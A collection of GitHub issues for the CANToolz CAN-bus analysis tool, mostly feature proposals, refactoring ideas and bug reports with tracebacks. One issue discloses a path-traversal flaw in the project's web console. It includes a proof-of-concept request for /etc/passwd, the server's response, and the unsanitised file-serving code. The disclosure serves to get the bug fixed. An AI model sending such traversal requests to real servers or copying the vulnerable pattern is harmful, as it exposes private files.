There is a lot of SLCAN based interfaces out there. I own some myself. It's really close to USBTin so maybe no big deal to add them to the compatibility-list?

In addition to https://github.com/latonita/arduino-canbus-monitor (the library used to test CAN232), another popular one seems to be https://github.com/autowp/arduino-canhacker.

It would be nice to test it as well and make sure that it works with CANToolz's CAN232 module.

The main purpose of CANToolz is to perform CAN analysis. Currently, it provides a pipe system where you can sequentially apply different processing on the CAN packet you want to analyze.

For instance:

CAN a --> [ CANToolz read ]
                | (pipe = CAN a)
                v
        [ CANToolz module 1 ]
                | (pipe = CAN a')
                v
        [ CANToolz module 2 ]
                | (pipe = CAN a')
                v
        [ CANToolz module n ]
                | (pipe = CAN a')
                v
        [ CANToolz write ] --> CAN a'

This current pipe design is limiting when trying to create simulation with CANToolz. For instance, it is not appropriate to try and emulate an ECU that would create multiple CAN messages on the line because each module can only add one CAN message at a time.

To allow such emulation, a new type of pipe could be created that would allow adding any number of CAN messages to the pipe that would then be delivered all at the same time (with some throttle between each send) by the module responsible to write to the bus.

For instance:

                | (queue)
                v
        [ CANToolz module 1 ]
                | (queue [CAN a,])
                v
        [ CANToolz module 2 ]
                | (queue [CAN a, CAN b, CAN c])
                v
        [ CANToolz module n ]
                | (queue [CAN a, CAN b, CAN c, CAN d])
                v
        [ CANToolz write ] --> CAN a, CAN b, CAN c, CAN d

To keep retro-compatibility, the current pipe system would not change (because it works great!) and a new pipe system would be added. To use the new pipe system, likely going to be named queue, one would use the following configuration file:

# . . .
# In this example, both ECU1 and ECU2 send messages at the same rate
actions = [
    {'ecu1': {'queue': 1}},
    {'ecu2': {'queue': 1}},
    {'hw_CAN232': {'action': 'write', 'queue': 1}},
]
# . . .
# In this example, ECU1 and ECU2 send messages at different rate
actions = [
    {'ecu1': {'queue': 1}},
    {'hw_CAN232': {'action': 'write', 'queue': 1, 'delay': 0.5}},
    {'ecu2': {'queue': 2}},
    {'hw_CAN232': {'action': 'write', 'queue': 2, 'delay': 0.1}},
]

The current Command class lacks a bit of modularity. Currently, it requires specifying the number of parameters and the parameters can only be strings.

We could see how to improve Command to accept any kind of parameters. Something as simple as:

class Command:
    def __init__(self, name, is_enabled, callback, *args, **kwargs):
        # . . .
    def execute(self):
        self.callback(*self.args, **self.kwargs)

When attempting to flush the queue upon establishing a connection with the arduino, the CAN232 module can hang forever if the device doesn't respond.

This is due to https://github.com/CANToolz/CANToolz/blob/dev/cantoolz/can232.py#L243, which should not be infinite. IMO CAN232.py should try let's say 3 times and if it fails, throw an exception and abort.

CANToolz uses print() for debug purposes.

With logging would help enhance the log messages, such as tracing the call, redirect log messages to files (if needed), have different (and well defined) log levels.

Overall, dprint should call logging.log() instead of print().

The hw_USBTin module is speaking LAWICEL to the hardware device. Since hw_CAN232.py, the LAWICEL protocol support has been implemented in `can232.py.

IMO the USBTin module should be updated to use can232.py instead of manually reimplementing the protocol support.

I want to support Ni USB-CAN in CANToolz.

thanks!

The current web interface is implemented using a raw http.server. It is a low-level class that defines parsing for routes (for the API), manually sets the headers, etc.

Instead, tornado could be used. It provides high-level objects, make it easier to implement routes (e.g. via tornado.web.url and tornado.web.RequestHandler), etc. It would also be more efficient and robust than the http.server custom server IMO.

It would be perfect to add more information about HW used with CANToolz like FW version and HW version (command 'V' and 'v')

CANToolz provides a virtual car (vircar) with dedicated modules and configuration examples. Currently, those modules are located under cantoolz/modules/vircar/ and the configuration files are examples/car_config.py and examples/car_hacker.py.

Vircar is a great demo of CANToolz' capabilities. It should be made easier for users to use it and it would clean the code if every modules are moved somewhere else.

Proposition:

• Move https://github.com/CANToolz/CANToolz/tree/4160721816228f3ae604fbe3a614bf2400513072/cantoolz/modules/vircar to cantoolz/vircar/
• Add a new CLI option --vircar
  • --vircar server to run the car simulation
  • --vircar client to run the hacker configuration to play with the simulated car
• If no --config/-c option is specified, --vircar server will use https://github.com/CANToolz/CANToolz/blob/4160721816228f3ae604fbe3a614bf2400513072/examples/car_config.py
• If no --config/-c option is specified, --vircar client will use https://github.com/CANToolz/CANToolz/blob/4160721816228f3ae604fbe3a614bf2400513072/examples/car_hacker.py
• If --config/-c option is specified by the user, then --vircar will use the user's configuration instead of the default one

What does it allow?

• Unclogged https://github.com/CANToolz/CANToolz/tree/4160721816228f3ae604fbe3a614bf2400513072/cantoolz/modules from the vircar modules and make it easier for users to find the module they need
• Make it easier for new users to use the virtual car. They would have 2 commands to run: cantoolz --vircar server and cantoolz --vircar client. They will be ready in one minute to start playing with CANToolz, see what it offers, become more familiar with the features, etc.
• Allow the user to customize the virtual car (change the authentication key, change the frequency of the CAN messages on the simulated bus) by allowing custom vircar configurations

It could be useful to implement an OBD-II module to read DTC and clear them.

I've checked out the current repo and try to run some examples, but after a some hours of debugging it seems that "analyze.py" contains an error that it is not loaded.

I'm using python 3.10

There are many parts in the project where the code could be improved. For instance, using list comprehension, ordereddirct and other python features.

In addition, the code base is generally lacking of documentation. We could use http://www.sphinx-doc.org/en/stable/ to document the functions, classes, modules, etc.

• PEP8 compatible code-base (first pass)
• flake8 configuration for Travis CI
• Fix all fake8 errors
  • Clean isotp.py to simplify add_can
  • Clean analyze.py to simplify do_anal, show_detect, train and find_ab
  • Clean ping.py to simplify do_start
  • Clean ecu_engine.py to simplify do_effect
• Pythonify code-base
• Docstring with sphinx documentation
• Host HTML documentation for developers once ready

Currently, the README of the repo describes how to install CANToolz with Linux. It would be nice to have a wiki page that also describes the Windows installation (and Mac, although it works the same as Linux but better write it down IMO).

That installation Wiki page would describe how to install CANToolz on all three systems.

This new fork is the opportunity to transfer the CANToolz' wiki from https://github.com/eik00d/CANToolz/wiki and update it when doing so.

Based on eik00d#93, it is likely that some steps listed in the wiki are out-dated and should be reworked.

This can be done step by step, one section at a time:

• Transfer Home page
• Update/review/proof-read Home page
• Transfer find_frames page
• Update/review/proof-read find_frames page
• Transfer gen_ping page
• Update/review/proof-read gen_ping page
• Transfer gen_replay page
• Update/review/proof-read gen_replay page
• Transfer mod_stat page
• Update/review/proof-read mod_stat page
• Transfer uds_scan page
• Update/review/proof-read uds_scan page
• Transfer UDS_tester_sniff page
• Update/review/proof-read UDS_tester_sniff page

The issue is that the setup.py is deploying the tests folder under the root python path and not under this package one.

So it's end up under /usr/lib/python3.11/site-packages/tests rather than /usr/lib/python3.11/site-packages/cantoolz/tests and so conflicts with other packages having the same issue.

Anyway usually test are not shipped in a release package so the easiest would just to remove them. Else they should be deployed in the children directory.

It's explained in ArchLinux packaging guidelines for Python: https://wiki.archlinux.org/title/Python_package_guidelines#Test_directory_in_site-package

When re-organizing the unit tests for CANToolz, I found some left-alone tests in cantoolz/stream/forced_sampler__test.py, which I moved to https://github.com/CANToolz/CANToolz/blob/dev/tests/test_forcedsampler.py

The test is failing and I am personally not familiar with this test yet. @eik00d Do you have memories of what the test is supposed to do? And why it is failing?

Any info would help me understand if I should remove/update/fix the code accordingly.

See: https://travis-ci.org/CANToolz/CANToolz/jobs/268744940#L488

The web interface is vulnerable to local file inclusion that allows a malicious user to disclose arbitrary files. If we imagine CANToolz being provided as a SaaS (although very unlikely I agree), it would allow a malicious user to disclose arbitrary file on the remote server.

PoC:

GET /../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:4444
Connection: close

HTTP/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.6.2
Date: Sun, 27 Aug 2017 14:36:42 GMT
X-Clacks-Overhead: GNU Terry Pratchett
Content-Type: text/plain
Connection: closed
Content-Length: 5925

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
. . .

Vulnerable code (https://github.com/CANToolz/CANToolz/blob/dev/cantoolz.py#L215):

# WEB class
class WebConsole(http.server.SimpleHTTPRequestHandler):
    root = "web"
    # . . .
    def do_GET(self):
    # . . .
            content = self.root + self.path
            try:
                with open(content, "rb") as ins:
                    for line in ins:
                        body += line.decode("ISO-8859-1")
    # . . .

Hello,I meet a problm about some self-test cases fail in [email protected].

Steps to reproduce the issue

[root@centos8 spack-src]# ls
bin  build  cantoolz  CANToolz.egg-info  cantoolz.py  CONTRIBUTORS.md  examples  LICENSE.md  MANIFEST.in  NOTICE.md  README.md  setup.py  tests  VERSION.md
[root@centos8spack-src]#python setup.py test
……
ERROR: test_replay_uds_padding (tests.modules.test_replay.TestReplay)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/tests/modules/test_replay.py", line 153, in test_replay_uds_padding
    self.CANEngine.load_config('tests/configurations/conf_replay_uds_padding.py')
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/engine.py", line 270, in load_config
    self._init_module(path, module, init_params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/engine.py", line 333, in _init_module
    self._modules[mod] = getattr(loaded_module, mod_name)(params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/module.py", line 62, in __init__
    self.do_init(params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/modules/io/hw_USBtin.py", line 206, in do_init
    self.last = time.clock()
AttributeError: module 'time' has no attribute 'clock'

======================================================================
ERROR: test_send_recieve (tests.modules.test_simple_io.TestSimpleIO)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/tests/modules/test_simple_io.py", line 9, in test_send_recieve
    self.CANEngine.load_config('tests/configurations/conf_simple_io.py')
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/engine.py", line 270, in load_config
    self._init_module(path, module, init_params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/engine.py", line 333, in _init_module
    self._modules[mod] = getattr(loaded_module, mod_name)(params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/module.py", line 62, in __init__
    self.do_init(params)
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/cantoolz/modules/io/hw_USBtin.py", line 206, in do_init
    self.last = time.clock()
AttributeError: module 'time' has no attribute 'clock'

======================================================================
FAIL: test_process (tests.stream.test_forced_sampler.TestForcedSampler)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/root/spack-stage/spack-stage-py-cantoolz-3.7.0-jcmafxczouwkcgmi553yco57zygrmrpg/spack-src/tests/stream/test_forced_sampler.py", line 33, in test_process
    self.assertEqual(effects_count, 4)
AssertionError: 3 != 4

----------------------------------------------------------------------
Ran 28 tests in 0.060s

FAILED (failures=1, errors=26)
Test failed: <unittest.runner.TextTestResult run=28 errors=26 failures=1>
error: Test failed: <unittest.runner.TextTestResult run=28 errors=26 failures=1>

AttributeError: module 'time' has no attribute 'clock' this question I have found the answer:d755745 ,However, it has been submitted and has not been merged and I am waiting.But self.assertEqual(effects_count, 4) should be be rewritten as self.assertEqual(effects_count, 3) ，and the test can be passed.Do you think?

Now that CANToolz is ready to be a python package, all the modules under cantoolz/modules will be shipped with the package and will not be easily modifiable by the user, except for the user to reinstall CANToolz modifying them.

It would be good to improve the module loading strategy to allow loading modules from the user's directory and home directory.

Currently, CANToolz follows this strategy:

• Lookup module mod in package/modules/mod
• If no module found:
  • For each subdirectory subdir under package/modules
    • Lookup module in package/modules/subdir/mod

Where package points to something like /usr/local/lib/python3.6/site-packages/cantoolz.

The strategy could be improved by doing the following instead:

1. Lookup in current working directory

• Lookup module mod in ./modules/mod
• If no module found:
  • For each subdirectory subdir under ./modules
    • Lookup module in ./modules/subdir/mod

2. Lookup in dotfile directory

• Lookup module mod in ~/.cantoolz/modules/mod
• If no module found:
  • For each subdirectory subdir under ~/.cantoolz/modules
    • Lookup module in ~/.cantoolz/modules/subdir/mod

3. Lookup in package directory

• Lookup module mod in package/modules/mod
• If no module found:
  • For each subdirectory subdir under package/modules
    • Lookup module in package/modules/subdir/mod

In the case one module appears in both the current working directory and the package directory, then the one from the current working directory will be used. It will allow the user to modify stock modules, without having to reinstall CANToolz.

In addition, a new CLI options could be created to allow the user to specify what the current working directory is. By default, this option would be ., meaning current directory but it could be overridden by the user. For instance:

$ cantoolz --modules ./my/path/modules/ . . .

Will force the current working directory to be set to ./my/path/modules/

Does this tool supports CAN FD?

CANToolz has a lot of awesome modules but they are all under the same directory modules, which makes it sometimes hard when you try to find a specific one.

In addition, some modules are named using a different norm than others and should IMO be renamed. For instance, I would suggest stripping the mod_ prefix of some of the modules, since it seems redundant.

I would suggest reorganizing the modules with something like:

modules/  <-- base modules will be found at the base directory (e.g. `mod_stats.py`)
    vircar/  <-- modules related to emulating virtual car
    io/  <-- modules supporting specific I/O hardware
    vendor/  <-- modules specific to physical car (i.e. `renault_twingo_pcm.py`)

By default, CANToolz would recursively look for the module the user wants to use. If more than one module with the provided name is found, then CANToolz would throw an error and ask for a more specific file. In case a name clash occurs, CANToolz will load the first module it found.

For instance:

# Loading modules/vendor/my_module.py
# If there is only one module named `my_module` under `modules/`, then everything's fine
# Otherwise, CANToolz would raise an exception when loading the configuration
load_modules = {
    'my_module': {}  
}

# Loading modules/vendor/my_module.py
# Need to be specific since modules/io/my_module.py exists as well
load_modules = {
    'vendor/my_module': {}  
}

• Rename modules to have a consistent naming convention
• Update references (e.g. Wiki)
• Categorize and reorganize existing modules following the structure described above
• Improve CANToolz module loading to recursively search modules under modules/
• Keep retro-compatibility with older configurations files

Using hw_USBtin module is throwing an exception when attempting to call the change_shift command.

This is likely a bug I introduced when cleaning the command callback mechanism.

Sebastian tried to install CANToolz's dev branch on Windows 10 and got the following error:

D:\CANToolz\bin>python cantoolz -g w -c D:\CANToolz\examples\can_sniff.py


   _____          _   _ _______          _
  / ____|   /\   | \ | |__   __|        | |
 | |       /  \  |  \| |  | | ___   ___ | |____
 | |      / /\ \ | . ` |  | |/ _ \ / _ \| |_  /
 | |____ / ____ \| |\  |  | | (_) | (_) | |/ /
  \_____/_/    \_\_| \_|  |_|\___/ \___/|_/___|



Traceback (most recent call last):
  File "cantoolz", line 103, in <module>
    main()
  File "cantoolz", line 82, in main
    can_engine.load_config(args.config)
  File "C:\Users\sebas\AppData\Local\Programs\Python\Python36-32\lib\site-packages\cantoolz-3.6.1-py3.6.egg\cantoolz\engine.py", line 267, in load_config
    self._init_module(path, module, init_params)
  File "C:\Users\sebas\AppData\Local\Programs\Python\Python36-32\lib\site-packages\cantoolz-3.6.1-py3.6.egg\cantoolz\engine.py", line 325, in _init_module
    self._modules[mod] = getattr(loaded_module, mod_name)(params)
AttributeError: module 'io/hw_USBtin' has no attribute 'io/hw_USBtin'

D:\CANToolz\bin>

When attempting to load a module that doesn't exist, it will fail when attempting to initialize the module:

~/CANToolz(dev*) » cantoolz --log debug -c examples/car_config.py                                                                                                             cantoolz@debian


   _____          _   _ _______          _
  / ____|   /\   | \ | |__   __|        | |
 | |       /  \  |  \| |  | | ___   ___ | |____
 | |      / /\ \ | . ` |  | |/ _ \ / _ \| |_  /
 | |____ / ____ \| |\  |  | | (_) | (_) | |/ /
  \_____/_/    \_\_| \_|  |_|\___/ \___/|_/___|



DEBUG:root:engine:load_config:Searching module analyze~2 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded analyze from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/
DEBUG:root:engine:load_config:Searching module analyze from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded analyze from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/
DEBUG:root:engine:load_config:Searching module vircar/ecu_light~2 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_light from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module io\hw_TCP2CAN~1 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
DEBUG:root:engine:load_config:Module io\hw_TCP2CAN~1 not found in /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
DEBUG:root:engine:load_config:Searching module vircar/anti_theft_1 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded anti_theft_1 from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/anti_theft_2 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded anti_theft_2 from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/control_ecu_engine from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded control_ecu_engine from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/control_ecu_doors from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded control_ecu_doors from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/ecu_door~2 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_door from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/ecu_light~1 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_light from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/control_ecu_lights from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded control_ecu_lights from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/ecu_switch from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_switch from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module vircar/ecu_engine from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_engine from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
DEBUG:root:engine:load_config:Searching module io\hw_TCP2CAN from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
DEBUG:root:engine:load_config:Module io\hw_TCP2CAN not found in /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
DEBUG:root:engine:load_config:Searching module vircar/ecu_door~1 from /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules
INFO:root:engine:_init_module:Loaded ecu_door from directory /home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/modules/vircar
Traceback (most recent call last):
  File "/home/cantoolz/CANToolz/venv/bin/cantoolz", line 4, in <module>
    __import__('pkg_resources').run_script('CANToolz==3.6.1', 'cantoolz')
  File "/home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/pkg_resources/__init__.py", line 739, in run_script
    self.require(requires)[0].run_script(script_name, ns)
  File "/home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/pkg_resources/__init__.py", line 1494, in run_script
    exec(code, namespace, namespace)
  File "/home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/EGG-INFO/scripts/cantoolz", line 103, in <module>
    main()
  File "/home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/EGG-INFO/scripts/cantoolz", line 82, in main
    can_engine.load_config(args.config)
  File "/home/cantoolz/CANToolz/venv/lib/python3.5/site-packages/CANToolz-3.6.1-py3.5.egg/cantoolz/engine.py", line 276, in load_config
    self._actions.append([module, self._modules[module], validated_parameters])
KeyError: 'hw_TCP2CAN'
(venv) ------------------------------------------------------------

CANToolz should fail once it realizes that it couldn't load a requested module instead.

CANToolz has a lot of unit tests already but all in one unique file unit_tests.py, with some 900 lines and covering a lot of files.

It would be good for us we if could reorganize the unit tests in separate files and also define a better directory hierarchy to make it easier to find where to implement new tests, where to edit previous ones, where to add regression tests, etc.

I would suggest a directory hierarchy mimicking the CANToolz directory hierarchy, with something like:

tests/
    test_can.py
    test_can232.py
    test_correl.py
    test_engine.py
    . . .
    modules/
        test_mod_firewall.py
        test_mod_fuzz1.py
        . . .
    stream/
        test_sampler.py
        test_processor.py
        . . .

• Split unit_tests.py into several files (see: 42e24a5)
• Reorganize the unit tests to mimic CANToolz's directory hierarchy
• Add template test files for missing CANToolz file

The imp module has been deprecated since python 3.4 and should be replaced with importlib.

This would require updating CANToolz' engine:

Currently, the CANToolz modules such as analyze directly build the output string that will then be shown in the UIs (both CLI and web).

For instance, the analyze module will directly create the string that will represent the table of the identified UDS frames.

It would be much easier to improve the UIs (for instance when writing the new web interface) if those modules were instead returning objects (JSON or native python objects like dict).

This would require some difficult changes and also require to update the unit tests accordingly.

• Agree on the output object (native objects, dict, list, JSON)
• Update the modules accordingly
• Update the CLI UI accordingly
• Update the web UI accordingly (if worth the effort; otherwise we'll wait for the new web interface)
• Update the unit tests

The web UI, while being very helpful, is not very pretty/shiny and it would be great if it could be improved/rewritten.

We'll be using the webui branch to work on the web UI. For now, it contains a PoC where the API has been ported to a Flask application, as part of #11.

The CLI is written using custom/hackish while True and input(). It should be ported to a more interactive form that allows using arrows to use previous commands and be more maintainable. Something like https://docs.python.org/3.6/library/cmd.html should be used IMO.

Currently, CANToolz has its own capture format for replay. It would improve inter-operability to support linux's candump file format.

candump capture on a virtual can interface (from the Internet):

(1436509052.249713) vcan0 044#2A366C2BBA
(1436509052.449847) vcan0 0F6#7ADFE07BD2
(1436509052.650004) vcan0 236#C3406B09F4C88036
(1436509052.850131) vcan0 6F1#98508676A32734
(1436509053.050284) vcan0 17F#C7
(1436509053.250417) vcan0 25B#6EAAC56C77D15E27
(1436509053.450557) vcan0 56E#46F02E79A2B28C7C
(1436509053.650713) vcan0 19E#6FE1CB7DE2218456
(1436509053.850870) vcan0 1A0#9C20407F96EA167B
(1436509054.051025) vcan0 6DE#68FF147114D1

CANToolz own format (from the unit tests data):

<1503775655.162613>
<1503775639.923295>
[1.041091999999992]0x1:8:1122334411111111
[2.0446409999999986]0x2:8:1122334411111111
[3.140909999999991]0x3:8:1122334411111111
[8.043406000000004]0x4:8:1122334411111111
[9.040999]0x5:8:1122334411111111
[9.041274999999999]0x6:8:1122334411111111
[9.041512999999995]0x7:8:1122334411111111
[11.056775000000002]0x8:8:1122334411111111
[15.161974]0x9:8:1122334411111111
[15.260435000000001]0xa:8:1122334411111111
[15.35678399999999]0xb:8:1122334411111111

Both formats are quite similar and it should not be hard to add support for candump's format. I'm sure that supporting candump's capture format would help bring more people in and make it easier for people using linux's can tools to discover and use CANToolz.

CANToolz should still support (but maybe deprecate?) the use of the old format.

Currently, CANToolz's engine uses a list of list to handle the modules. See:

It has IMO two main drawbacks:

• It is not thread safe. For instance, find_module could introduce some nasty bugs, where the id returned could be invalid as soon as it is looked up.
• It is not really user-friendly to have to know the module id in the CLI IMO. For instance:

$ cantoolz -g c -p 5555 -c examples/car_config.py                         
hw_TCP2CAN: Started mode as server
!!! Started mode as server
hw_TCP2CAN: Started mode as server
!!! Started mode as server


   _____          _   _ _______          _
  / ____|   /\   | \ | |__   __|        | |
 | |       /  \  |  \| |  | | ___   ___ | |____
 | |      / /\ \ | . ` |  | |/ _ \ / _ \| |_  /
 | |____ / ____ \| |\  |  | | (_) | (_) | |/ /
  \_____/_/    \_\_| \_|  |_|\___/ \___/|_/___|



CANToolz prompt.   Type help or ? to list commands.

>> help 0

Module ecu_light: CAN ECU for the car lights


    This module emulating car's lights.

    Init params (example):

    {
            'id_report': 0x111,
            'id_command': 0x101,
            'commands': {
                'off':'00',
                'on':'01',
                'distance': '02',
            },

            'reports': {
                'LIGHTS ON': 'ff0101',
                'DISTANCE LIGHTS ON': 'ff0202',
                'Lights OFF': '000000',
            },
            'reports_delay': 1.5
    }

    

Console commands:

	S 		 - Current status

	s 		 - Stop/Activate current module

Instead, CANToolz should use a dictionary, with for instance:

self._modules[name] = [module, params]

It would be easier to lookup a module by its name and it would be thread safe when updating the configuration of the module as well (IMO).